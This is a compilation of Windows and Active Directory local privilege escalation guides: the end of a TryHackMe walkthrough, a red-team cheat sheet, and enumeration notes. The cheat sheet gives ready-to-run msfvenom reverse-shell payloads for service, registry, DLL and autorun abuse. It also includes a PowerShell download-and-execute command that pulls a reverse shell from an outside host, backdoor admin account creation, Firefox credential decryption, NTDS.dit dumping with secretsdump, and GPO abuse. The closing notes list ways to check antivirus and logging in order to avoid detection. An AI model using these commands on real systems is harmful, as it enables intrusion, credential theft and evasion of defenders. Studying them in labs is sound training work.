    • Download: Available as a precompiled executable or a .bat script.
  2. PrivescCheck

    • Purpose: A PowerShell script that checks for common privilege escalation opportunities on the target system without needing a binary file.
    • How it works: Run the script with PowerShell by bypassing execution policy restrictions using the Set-ExecutionPolicy cmdlet.
    • Usage: The script can be executed with Invoke-PrivescCheck after setting the execution policy to bypass.
  3. WES-NG (Windows Exploit Suggester – Next Generation)

    • Purpose: A Python script that helps suggest exploits based on missing patches and vulnerabilities that can be exploited for privilege escalation.
    • How it works: Runs on the attacking machine (e.g., Kali Linux), requiring system information from the target system via the systeminfo command. The script then compares the data with a database of known vulnerabilities.
    • Usage: After updating the database (wes.py --update), run the script with the systeminfo.txt file generated from the target system.
  4. Metasploit

    • Purpose: If you have a Meterpreter shell on the target system, the multi/recon/local_exploit_suggester module can be used to find local vulnerabilities that could lead to privilege escalation.

Questions

Click and continue learning!

Answer: No answer needed.


Task 9: Conclusion

In this room, we have introduced several privilege escalation techniques available in Windows systems. These techniques should provide you with a solid background on the most common paths attackers can take to elevate privileges on a system. Should you be interested in learning about additional techniques, the following resources are available:

  • PayloadsAllTheThings – Windows Privilege Escalation
  • Priv2Admin – Abusing Windows Privileges
  • RogueWinRM Exploit
  • Potatoes
  • Decoder’s Blog
  • Token Kidnapping
  • Hacktricks – Windows Local Privilege Escalation

Questions

Click and continue learning!

Answer: No answer needed.


We are done!

Congratulations, we are done! I hope you enjoyed this walkthrough on the TryHackMe: Windows Privilege Escalation room.

It was great to learn some Windows Privilege Escalations techniques and I hope you learned at least as much as I did. See you next time. Happy hacking!

Find more of my walkthroughs here.


Like my articles?

You are welcome to share this article with your friends 🙂
I would be even more grateful if you support me by buying me a cup of coffee:

Buy me a coffee

I learned a lot through HackTheBox’s Academy. If you want to sign up, you can get extra cubes, and support me in the process, if you use the following link:

https://referral.hackthebox.com/mzwwXlg

image

Introduction

Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go through the basic concepts required to understand Active Directory and high-level Domain enumeration explanation.

If not so, you can give it a read from here.

This guide aims to explain Windows/Active-Directory Local Privilege escalation snippets mainly by abusing services, registries, tokens and groups etc., in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.

I will continue to update this article with new privilege escalation vectors.

Throughout the article, I will use PowerView, winPEAS, AccessChk and PowerUp in performing local privilege escalation on an Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.

What is Privilege Escalation

Privilege escalation exploits a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are generally protected from an application or user. Now that you know the meaning of privilege escalation, we can dive right into the techniques for escalation.

Autorun

Methodology

Autorun is a type of Registry Escalation.

To ensure that the IT department creates a secure environment, Windows administrators often need to know what kind of access specific users or groups have to resources, including files, directories, Registry keys, global objects, and Windows services. AccessChk quickly answers these questions with an intuitive interface and output.

So basically, we can say a particular application in a specific directory gets automatically executed with administrator privileges once he logs on. This can be abused by finding the path location and dropping our malicious executable file through which we will gain administrator access.

Detection

Using Autoruns and AccessChk

  1. Transfer Autoruns64.exe on the Windows/AD machine and execute it on cmd

    1
    
    C:\Temp> Autoruns64.exe
    

    image

  2. In Autoruns, click on the "Logon" tab.
  3. From the listed results, notice that the "My Program" entry is pointing to "C:\Program Files\Autorun Program\program.exe".
  4. Go back to the command prompt run AccessChk64.exe

1
2
3
4
5
6
C:\Temp> accesschk64.exe -wvu "C:\Program Files\Autorun Program"

# Switch meaning
# w --> only show items that have write access
# v --> verbose; dispaly as many details as possible
# u --> ignore the errors

image

Using PowerUp

  1. Run PowerUp and Run Invoke-AllChecks (check the autoruns field)

1
2
3
C:\Temp> powershell -ep bypass
PS C:\Temp>. .\PowerUp.sp1
PS C:\Temp> Invoke-AllChecks

image

From the output, notice that the "Everyone" user group has "FILE_ALL_ACCESS" permission on the "program.exe" file. To gain administrator access, we can drop our malicious executable file by overwriting on the file.

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o program.exe
    

  3. Transfer the generated file, program.exe, to the Windows VM.

Windows VM

  1. replace program.exe in 'C:\Program Files\Autorun Program'

Kali VM

  1. Wait for a reverse shell on your kali machine.

AlwaysInstallElevated

Methodology

AlwaysInstallElevated is a type of Registry Escalation.

This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.

To install a package with elevated (system) privileges, set the AlwaysInstallElevated value to “1” under both of the following registry keys:

1
2
3
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

If the AlwaysInstallElevated value is not set to “1” under both of the preceding registry keys, the installer uses elevated privileges to install managed applications and uses the current user’s privilege level for unmanaged applications.

Detection

Windows VM

  1. Open command prompt and type:

    1
    
    C:\Temp> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
    

  2. In command prompt type:

    1
    
    C:\Temp>reg query HKCU\Software\Policies\Microsoft\Windows\Installer
    

From the both output, we notice that “AlwaysInstallElevated” value is 1. Hence, we can abuse this function to get privilege escalation.

Using PowerUp

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the AlwaysInstallElevated field)

    1
    2
    3
    
    C:\Temp> powershell -ep bypass
    PS C:\Temp>. .\PowerUp.sp1
    PS C:\Temp> Invoke-AllChecks
    

    image

  2. Run Write-UserAddMSI and Add backdoor user in Administrators group (Required RDP access)

  3. Check local Administrators

    1
    2
    
    C:\Temp> net localgroup administrators
    # now backdoor is added to the localgroup administrators group
    

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi
    

  3. Copy the generated file, setup.msi, to the Windows VM.

Windows VM

  1. Place 'setup.msi' in 'C:\Temp'
  2. Open command prompt and type:

    1
    
    C:\Temp> msiexec /quiet /qn /i C:\Temp\setup.msi
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

Service Registry

Methodology

A service registry consists of a cluster of servers that use a replication protocol to maintain consistency. Hence if we get Full Contol permission over the registry key, we can drop our malicious executable file to gain administrator access.

Detection

Windows VM

  1. Open powershell prompt and type:

    1
    2
    
    C:\Temp> powershell -ep bypass
    PS C:\Temp> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
    

    image

  2. Notice that the output suggests that user belong to "NT AUTHORITY\INTERACTIVE" has "FullContol" permission over the registry key.

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
    

  3. Copy the generated file x.exe, to the Windows VM.

Windows VM

  1. Place x.exe in 'C:\Temp'
  2. Open command prompt at type:

    1
    
    C:\Temp> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
    

  3. In the command prompt type:

    1
    2
    
    C:\Temp> sc start regsvc
    # If it doesnt work try restaring the service and perform the exploit egain
    

image

Kali VM

  1. Wait for a reverse shell on your kali machine.

Executable Files

Methodology

Microsoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface.

Hence if we get Full Contol permission over the file path location, we can drop our malicious executable file to gain administrator access.

Detection

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the service executable field)

    1
    2
    3
    
    C:\Temp> powershell -ep bypass
    PS C:\Temp>. .\PowerUp.sp1
    PS C:\Temp> Invoke-AllChecks
    

image

We can see that we have Modifiable File access to "c:\Program Files\File Permissions Service\filepermservice.exe". To gain administrator access, we can drop our malicious executable file on this location.

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
    

  3. Copy the generated file x.exe, to the Windows VM and replace it over filepermsvc.exe.

Windows VM

  1. In command prompt type:

    1
    
    C:\Temp> sc start filepermsvc
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

Startup Applications

Methodology

Startup apps run in the background, the number of apps running on the system can be significantly more than what the user is aware of and affect system responsiveness. Startup apps are classified to include those leveraging these mechanisms to start:

  • Run registry keys (HKLM, HKCU, wow64 nodes included)
  • RunOnce registry keys
  • Startup folders under the start menu for per user and public locations

So basically, we need full access to the Startup folder. Then by dropping our malicious executable file, we will gain administrator access.

Detection

Windows VM

  1. Open command prompt and type:

    1
    
    C:\Temp> icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    

    image

  2. From the output notice that the "BUILTIN\Users" group has full access '(F)' to the directory.

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53  -f exe -o y.exe
    

  3. Copy the generated file, y.exe, to the Windows VM.

Windows VM

  1. Place y.exe in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".

Kali VM

  1. Wait for a reverse shell on your kali machine.

DLL Hijacking

Methodology

Windows applications usually load DLL files when started. It may happen that a DLL file does not exist and the application is unable to load it. Nevertheless, an application will continue to execute as long as the missing DLL is not needed.
In case the application uses a relative and not an absolute file path, Windows searches for the file in the following directories:

  • The directory from which the application is loaded
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • The current working directory
  • Directories in the system PATH environment variable
  • Directories in the user PATH environment variable

Steps taken to perform DLL hijacking are outlined below.

  1. Identify vulnerable application and location
  2. Identify applications PID
  3. Identify vulnerable DLLs that can be hijacked
  4. Use MSFVenom or other payload creation tools to create a malicious DLL
  5. Replace the original DLL with the malicious DLL
  6. Profit

Detection

Windows VM (RDP is required)

  1. Transfer Procmon.exe on the Windows VM
  2. Right click on Procmon.exe and select 'Run as administrator' from the menu.
  3. In procmon, select "filter". From the left-most drop down menu, select 'Process Name'.
  4. In the input box on the same line type: dllhijackservice.exe
  5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’.
  6. Next, select from the left-most drop down menu 'Result'.
  7. In the input box on the same line type: NAME NOT FOUND.
  8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’.

image

image

  1. Open command prompt and type:

    1
    
    C:\Temp> sc start dllsvc
    

    image

  2. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute 'C:\Temp\hijackme.dll' yet it could not do that as the file was not found. Note that 'C:\Temp' is a writable location.
    image

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f dll -o hijackme.dll
    

  3. Copy the generated file hijackme.dll, to the Windows VM.

Windows VM

  1. Place hijackme.dll in 'C:\Temp'
  2. Open command prompt and type:

    1
    
    C:\Temp> sc stop dllsvc & sc start dllsvc
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

BinPath

Methodology

BinPath is a type of Service Escalation. We can gain administrator privileges if we write access and restart access on any service. We can abuse this function by injecting our malicious BinPath to get executed once restarted.

Detection

Using Script on Windows VM

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the service permissions field)

1
2
3
C:\Temp> powershell -ep bypass
PS C:\Temp>. .\PowerUp.sp1
PS C:\Temp> Invoke-AllChecks

image

Checking manually on Windows VM

  1. Run AccessChk64.exe

1
2
3
4
5
6
7
8
C:\Temp> accesschk64.exe -uwcv Everyone *

# Switch meaning
# w --> only show items that have write access
# v --> verbose; dispaly as many details as possible
# u --> ignore the errors
# c --> displays service name of the following
# Everyone --> means everyone as a group who hass access

image

  1. Using AccessChk64.exe query the service found

    1
    
    C:\Temp> accesschk64.exe -uwcv daclsvc
    

    image

  2. Find path of the bin file

image

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o reverse.exe
    

  3. Copy the generated file reverse.exe, to the Windows VM.

Windows VM

  1. Place reverse.exe in 'C:\Temp'
  2. In command prompt type:

    1
    
    C:\Temp> sc config daclsvc binpath= "C:\Temp\reverse.exe"
    

  3. In command prompt type:

    1
    
    C:\Temp> sc start daclsvc
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

Unquoted Service Paths

Methodology

When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege).

In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

Detection

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the unquoted service field)

    1
    2
    3
    
    C:\Temp> powershell -ep bypass
    PS C:\Temp>. .\PowerUp.sp1
    PS C:\Temp> Invoke-AllChecks
    

image

Exploitation

Kali VM

  1. Start a netcat listener
  2. Open an additional command prompt and type:

    1
    
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o common.exe
    

  3. Transfer the generated file, common.exe, to the Windows VM.

Windows VM

  1. Place common.exe in 'C:\Program Files\Unquoted Path Service'.
  2. Open command prompt and type:

    1
    2
    3
    
    C:\Temp> sc start unquotedsvc
    # OR
    C:\Temp> net start unquotedsvc
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

Juicy potato attack

Methodology

This privilege allows us to impersonate a token of a privileged account such as NT AUTHORITY\SYSTEM.

Detection

Windows VM

  1. We should have SeImpersonatePrivilege privileges enabled

    image

Exploitation

Kali VM

  1. Copy Invoke-PowerShellTcp.ps1 from nishang shells as shell.ps1
  2. Add the line at the bottom of shell.ps1

    1
    
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 9999
    

  3. Lets create a shell.bat file

    1
    
    powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1')
    

  4. Transfer shell.bat and juicypotato.exe on victim machine

    1
    
    $ (new-object net.webclient).downloadfile('http://10.10.14.31/file', 'C:\temp\file')
    

  5. Set a listener on port 9999

    1
    
    $ sudo rlwrap nc -lnvp 9999
    

Windows VM

  1. Run juicy potato

    1
    
    $ ./jp.exe -p shell.bat -l 7777 -t *
    

    • If this fail
    • Try with a different CLSID depending upon the system version and select the CLSID which supports NT AUTHORITY\SYSTEM
    • Link –> http://ohpe.it/juicy-potato/CLSID
  2. Lets run again

    1
    
    $ ./jp.exe -p shell.bat -l 7777 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
    

Kali VM

  1. Wait for a reverse shell on your kali machine.

Hot Potato attack

Methodology

Hot Potato takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing.

Detection

Windows VM

  1. We should have SeImpersonatePrivilege privileges enabled

    image

Exploitation

I will be demonstrating a simple exploitation technique by adding a user to the local administrators group using Tater.ps1

Windows VM

  1. Enter the following to gain administrator access

    1
    2
    3
    
    C:\Temp> powershell.exe -nop -ep bypass
    PS C:\Temp> Import-Module C:\Temp\Tater.ps1
    PS C:\Temp> Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
    

Kernel Exploits

Searcing exploits

This method is handy for checking any existing exploits available for the machine by looking at the system information. From the results of windows-exploit-suggester.py we can select one of the kernel exploits and try to escalate privileges.

Windows VM

  1. Run systeminfo and save it into a text file

Kali VM

  1. Pass the file thorugh windows-exploit-suggester.py

1
2
3
4
5
6
7
8
9
10
11
$ ./windows-exploit-suggester.py --update

[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2020-06-06-mssb.xlsx
[*] done

$ ./windows-exploit-suggester.py --database 2020-06-06-mssb.xlsx --systeminfo systeminfo.txt 

Exploits will be displayed here...

Password Mining Escalation — Firefox

Detection

  1. winpeas
  2. Path location :

    1
    
    C:\Temp> C:\Users\usernamehere\AppData\Roaming\Mozilla\Firefox\Profiles
    

Requirements

Copy the following files from the Windows VM to Kali VM:

  1. key4.db
  2. logins.json
  3. addons.json
  4. cert9.db

Exploitation

  1. Download the following

    1
    
    $ git clone https://github.com/lclevy/firepwd.git
    

  2. Place the required files in the same directory and run the python file for the creds

1
2
3
4
5
6
7
$ python3 firepwd.py
 
globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'
<SNIP>
clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'
decrypting login/password pairs
   https://creds.com:b'mayor',b'<<HIDDEN>>'

Runas-Savdcreds

Methodology

We can check if there are any pre-existing credentials of the administrator on the system. We can abuse this by using the loaded creds for privilege escalation. In the below example, I will demonstrate how to read files through the saved creds.

Detection

  1. winpeas
  2. Checking for existence

1
2
3
4
5
$ cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

Exploitation

  1. Reading root flag

1
C:\Temp> C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE c:\Users\Administrator\Desktop\root.txt > C:\Users\security\root1.txt"

Backup Operators (Disk shadow + Robocopy)

Methodology

If the user is a part of the Backup Operator group, the user has the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file.

Detection

  1. The user should be a part of the Backup Operators group and should have SeBackupPrivilege and SeRestorePrivilege Enabled

1
2
C:\Temp> net user unsername-here
C:\Temp> whoami /all

Exploitation

Kali VM

  1. Create this script and transfer it to Windows VM

1
2
3
4
5
6
7
8
9
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Windows VM

  1. Pass the script to diskshadow unility to create the shadow copy

    1
    
    PS C:\Temp> diskshadow /s script.txt
    

  2. Now copy the NTDS file using Robocopy to the Temp file we created in the C: drive

    1
    
    PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit
    

  3. Next we get the system registry hive that contains the key needed to decrypt the NTDS file with reg save command.

    1
    
    PS C:\Temp> reg save hklm\system c:\temp\system.hive
    

Dumping NTML Hashes

  1. We can use secretsdump.py do decrypt the DA creds on Kali VM

1
$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dump

Abusing GPO permissions

Exploitation

We Abusing GPO by adding the user to the local Administrators group leveraging a tool called SharpGPOAbuse.

Source : https://github.com/FSecureLABS/SharpGPOAbuse

Pre compiled binaries : https://github.com/Flangvik/SharpCollection

  • Add user to local administrator groups

1
2
3
4
5
6
7
8
9
10
PS C:\Enterprise-Share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

  • Force Update the system

1
2
3
4
PS C:\Enterprise-Share> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

  • Now review our group memberships after we forced the policies to be updated on the target machine.

1
2
PS C:\Enterprise-Share> net user enterprise-security
# Will be added to the administrators group

Export LAPS Passwords

Methodology

The following script assumes that LAPS has already been configured into your environment & that your user account already has access to view LAPS passwords using the Fat Client UI or from Active Directory Users & Computers.

This script loads the Active Directory module, finds the LAPS password fields, and then saves them to a CSV with the date appended to the file name. The only thing you’d need to change is the file path.

Exploitation

  1. Just Open Powershell and paste this script

    1
    2
    3
    
    $Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
    $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
    $computers | Export-Csv -path c:\temp\"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation
    

  2. Then, save it to the location of your choice. For this example, I’m saving to

    1
    
    C:\Scripts\LAPSexport.ps1
    

  3. Then, run the script to verify it works correctly. If it does, you should automate this procedure by creating a Scheduled Task.

References

  1. https://tryhackme.com/room/windowsprivescarena
  2. https://docs.microsoft.com/en-us/

If you find my articles interesting, you can buy me a coffee

Local privilege escalation

The following note assumes that a low privilege shell could be obtained on the target.

To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the [General] Shells note.

“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance

The following commands can be used to grasp a better understanding of the current system:

[environment]::OSVersion.Version

echo %PROCESSOR_ARCHITECTURE%

[Environment]::Is64BitOperatingSystem

wmic os get osarchitecture

wmic computersystem get name
(PS) (Get-WmiObject Win32_ComputerSystem).Name

net config workstation | findstr /C:"Full Computer name"

[System.Net.Dns]::GetHostByName($env:computerName)

[System.IO.DriveInfo]::getdrives()
Get-PSDrive -PSProvider FileSystem

echo %userdomain%
systeminfo | findstr "Domain"

$env:UserDomain (NetBIOS domain name)
$env:UserDomain (fully qualified domain name)
systeminfo | Select-String Domain

(PS) (Get-WmiObject Win32_ComputerSystem).Domain

whoami /all
net user %username%

(PS) (Get-WmiObject Win32_ComputerSystem).UserName

net users
net users <USERNAME>

wmic USERACCOUNT list full
(PS) Get-WMIObject Win32_UserAccount -NameSpace "root\CIMV2" -Filter "LocalAccount='$True'"

net localgroup Administrators
net localgroup <GROUPNAME>

Get-LocalGroupMember -Name "<GROUPNAME>"

foreach ($group in Get-LocalGroup) { [PSCustomObject]@{ Group = $group.Name; User = (($group | Get-LocalGroupMember).Name | Out-String) } | fl }

Powershell $psversiontable

Get-ChildItem Env: | ft Key,Value

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}

wmic volume get DriveLetter,FileSystem,Capacity

wmic process get name,processid,executablepath,commandline,parentprocessid
(PS) Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

wmic process get Name,ProcessID,ExecutablePath
(PS) Get-WmiObject win32_process | Select Name,Handle,CommandLine | Format-List

TCP / UDP network connections

User Account Control (UAC)

EnableLUA = 0x1 -> UAC is enabled (default since Windows Vista / Windows Server 2008).

LocalAccountTokenFilterPolicy = 0x1 -> UAC remote restrictions are disabled (non default).

FilterAdministratorToken = 0x1 -> UAC is enforced for the local built-in Administrator account RID 500 (non default).

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA,LocalAccountTokenFilterPolicy,FilterAdministratorToken

Installed .NET framework

A number of tools may require the use of the .NET Framework, either for privileges escalation or post exploitation. The .NET Framework 4.8 will be the last version released of the .NET Framework (only security updates and reliability hotfixes will follow).

Each version of the .NET Framework contains the Common Language Runtime (CLR), used to execute managed code of .NET programs. A .NET programs should be build to target the CLR version associated with the .NET Framework installed on the (targeted) host. For instance, an utility can be build to target the .NET Framework 4.8 even if only the .NET Framework 4 is installed on the host the utility will be executed on.

.NET Framework 2.0
.NET Framework 3.0
.NET Framework 3.5

.NET Framework 4
.NET Framework 4.5 - 4.8

.NET Framework 4.8
.NET Framework 3.5 SP1*

Windows Server 2019
Windows Server version 1803 / 1809

Windows 10 (build 1803 / 1809)

.NET Framework 4.7.2
.NET Framework 3.5 SP1*

Windows Server version 1709

.NET Framework 4.7.1
.NET Framework 3.5 SP1*

.NET Framework 4.7
.NET Framework 3.5 SP1*

.NET Framework 4.6.2
.NET Framework 3.5 SP1*

.NET Framework 4.6.1
.NET Framework 3.5 SP1*

.NET Framework 4.6.0
.NET Framework 3.5 SP1*

.NET Framework 4.5.1
.NET Framework 3.5 SP1*

.NET Framework 4.5
.NET Framework 3.5 SP1*

.NET Framework 4.5.1
.NET Framework 3.5 SP1*

.NET Framework 4.5
.NET Framework 3.5 SP1*

.NET Framework 3.0 SP2*
.NET Framework 2.0 SP1

Windows Server 2008
Windows Server 2008 SP1

.NET Framework 3.0 SP1*
.NET Framework 2.0 SP1

.NET Framework 3.0 SP1*
.NET Framework 2.0 SP1

.NET Framework 3.0*
.NET Framework 2.0

Windows Server 2003 (x86)

.NET Framework 2.0
.NET Framework 1.1

*The .NET Framework version must be enabled (either through the Control Panel or, for Windows Server, through the Server Manager).

The version of the .NET Framework framework installed can be determined through registry key entries. Additionally, before .NET Framework 4.0, the installed .NET Framework version can be determined using the names of the folder in the \Windows\Microsoft.NET\Framework64\ directory. For later versions, the MSBuild.exe utility, packaged with the .NET framework, can be used to establish the precise version installed. If the execution of MSBuild.exe is blocked, the version can still be retrieved manually.

# .NET 4.5 and later.
# The "Release" DWORD key corresponds to the particular version of the .NET Framework installed.
# Values of the Release DWORD: https://github.com/dotnet/docs/blob/master/docs/framework/migration-guide/how-to-determine-which-versions-are-installed.md
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full"

# Alternatively the MSBuild.exe utility can be used instead of directly quering the registry.
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe

# .NET 1.1 through 3.5.
# List all install versions (subkeys under NDP).
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\
# Retrieve the "Version" key of the specified .NET installation
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\<VERSION>

# Alternative for .NET all versions.
# The "FileVersion" property of the .NET installation dlls can be used to determine, through a Google search query, the precise installed version
cd \Windows\Microsoft.NET\Framework64\<VERSION>
Get-Item "Accessibility.dll" | fl
# Or
$file = Get-Item "Accessibility.dll"
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($file).FileVersion

Defense and supervision scouting

Before attempting a local privilege escalation, notably in a covert scenario, establishing a precise vision on the system security defense and supervision mechanisms may help evade detection.

Antivirus product

The Windows Security Center is a Windows component which, among other features, keep track of the antivirus products installed on the system and their status (monitoring mode and antivirus signatures update status). The Security Center consolidates the Windows Defender status as well as third party antivirus solutions by:

  • searching for registry keys and files provided to Microsoft by the antivirus software manufacturers

  • exposing a WMI provider on which antivirus software manufacturers can report their product status

Note that some Endpoint Detection and Response (EDR) solutions may not be registered in the SecurityCenter and can only be detected by listing the running processes or configured services.

# SecurityCenter: Windows 2000, Windows Server 2003, Windows XP, and older
# SecurityCenter2: Windows Vista, Windows Server 2008, or newer

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Ft displayName,productState,timestamp
WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName,productState,timestamp /Format:List

The productState property can be parsed and converted to a human readable format using the following PowerShell code snippet:

$productState = "<PRODUCT_STATE>"

$hex = [Convert]::ToString($productState, 16).PadLeft(6,'0')

$WSC_SECURITY_PRODUCT_STATE = $hex.Substring(2,2)
$WSC_SECURITY_SIGNATURE_STATUS = $hex.Substring(4,2)

$RealTimeProtectionStatus = switch ($WSC_SECURITY_PRODUCT_STATE) {
  "00" {"OFF"}
  "01" {"EXPIRED"}
  "10" {"ON"}
  "11" {"SNOOZED"}
  default {"UNKNOWN"}
}

$DefinitionStatus = switch ($WSC_SECURITY_SIGNATURE_STATUS) {
  "00" {"UP_TO_DATE"}
  "10" {"OUT_OF_DATE"}
  default {"UNKNOWN"}
}

Write-Host "Real time protection status:" $RealTimeProtectionStatus
Write-Host "Signature update status:" $DefinitionStatus

Audit policies

The configured audit policies can be retrieved within the registry.

In particular, whether or not the command line is logged in process creation events (Security hive, 4688: A new process has been created) is of importance, as a process command line arguments may yield information about a tool function, compromised accounts or C2 servers, and be very able for the blue team.

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"

# "ProcessCreationIncludeCmdLine_Enabled: 0x1" = the command line is logged in process creation
events
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled

Windows Event Forwarding

Windows Event Forwarding (WEF) is a Microsoft Windows component that forwards the chosen event logs to a Windows Event Collector (WEC) server, for back up or security monitoring.

The following registry key can be queried to retrieve information about a possible WEF subscription:

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

AppLocker

AppLocker is a Windows native feature, added in Windows 7 Enterprise, that allows, through the definition of rules, for the restriction and control of the files users can execute.

